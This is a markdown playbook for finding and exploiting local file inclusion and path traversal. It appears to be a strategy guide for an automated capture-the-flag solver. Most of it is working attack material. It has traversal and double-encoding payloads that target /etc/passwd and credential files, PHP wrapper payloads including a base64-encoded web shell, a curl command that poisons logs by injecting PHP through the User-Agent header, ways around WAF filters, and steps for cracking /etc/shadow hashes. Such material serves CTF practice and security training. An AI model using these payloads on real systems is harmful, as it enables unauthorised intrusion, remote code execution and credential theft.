# LFI / Path Traversal Strategy

## Phase 1: Identify File Inclusion Points (budget: 15%)
1. Look for URL params that take filenames or paths: `?page=`, `?file=`, `?template=`, `?include=`, `?path=`, `?doc=`, `?lang=`
2. Check for file download endpoints: `/download?file=`, `/static/`, `/assets/`
3. Test basic traversal on each param:
   ```
   ../../etc/passwd
   ..%2f..%2fetc/passwd
   ....//....//etc/passwd
   ```
4. If response contains `root:x:0:0` → confirmed LFI

**Decision point:** If no file params found → check for SSRF (URL params), SSTI, or command injection instead.

## Phase 2: Determine LFI Type (budget: 10%)

### Path Traversal (no wrapper needed)
- `../../etc/passwd` works → simple traversal
- Count directory depth: try `../` × 1 through 10

### PHP Wrappers (PHP apps only)
- `php://filter/convert.base64-encode/resource=index` → read source code
- `php://input` + POST body → code execution
- `data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+` → code execution
- `expect://id` → direct command execution (rare)

### Null Byte (older PHP < 5.3.4)
- `../../etc/passwd%00` → truncates appended extension

### Double Encoding
- `..%252f..%252fetc/passwd` → bypasses single URL decode

## Phase 3: Source Code Analysis (budget: 25%)
If PHP wrappers work:
1. Read main app files: `php://filter/convert.base64-encode/resource=index.php`
2. Decode: `echo BASE64 | base64 -d`
3. Look for: database credentials, flag file path, include paths, other vulnerable endpoints
4. Read config files: `config.php`, `db.php`, `.env`, `wp-config.php`

If path traversal works:
1. Read `/etc/passwd` to enumerate users
2. Read `/proc/self/environ` for environment variables (may contain flag)
3. Read `/proc/self/cmdline` to find app root
4. Read app source from discovered path

## Phase 4: Escalate to RCE or Flag (budget: 50%)

### Direct Flag Read
```
../../flag
../../flag.txt
../../app/flag
/flag
/flag.txt
```
Try with traversal depths 1-10.

### Log Poisoning (Apache/nginx)
1. Inject PHP code via User-Agent: `curl -H "User-Agent: <?php system(\$_GET['c']); ?>" URL`
2. Include the log: `?file=../../var/log/apache2/access.log&c=cat+/flag`
3. Common log paths: `/var/log/apache2/access.log`, `/var/log/nginx/access.log`, `/var/log/httpd/access_log`

### PHP Session Poisoning
1. Set session data containing PHP code
2. Include session file: `?file=../../tmp/sess_SESSIONID`

### Proc Self Trick
- `/proc/self/environ` — environment variables (flag might be here)
- `/proc/self/fd/0` through `/proc/self/fd/20` — open file descriptors

### /etc/shadow → Crack Root Password
If readable: extract hash, crack with hashcat/john, login via SSH or su

## Pivot Triggers
- No file inclusion params → try SSTI (test `{{7*7}}` on same params), command injection
- LFI confirmed but no flag in common paths → read source code to find flag location
- WAF blocking `../` → try encoding: `..%c0%af`, `..%ef%bc%8f`, `....//`, `..;/` (Tomcat)
- PHP wrappers blocked → try data:// or expect:// protocols
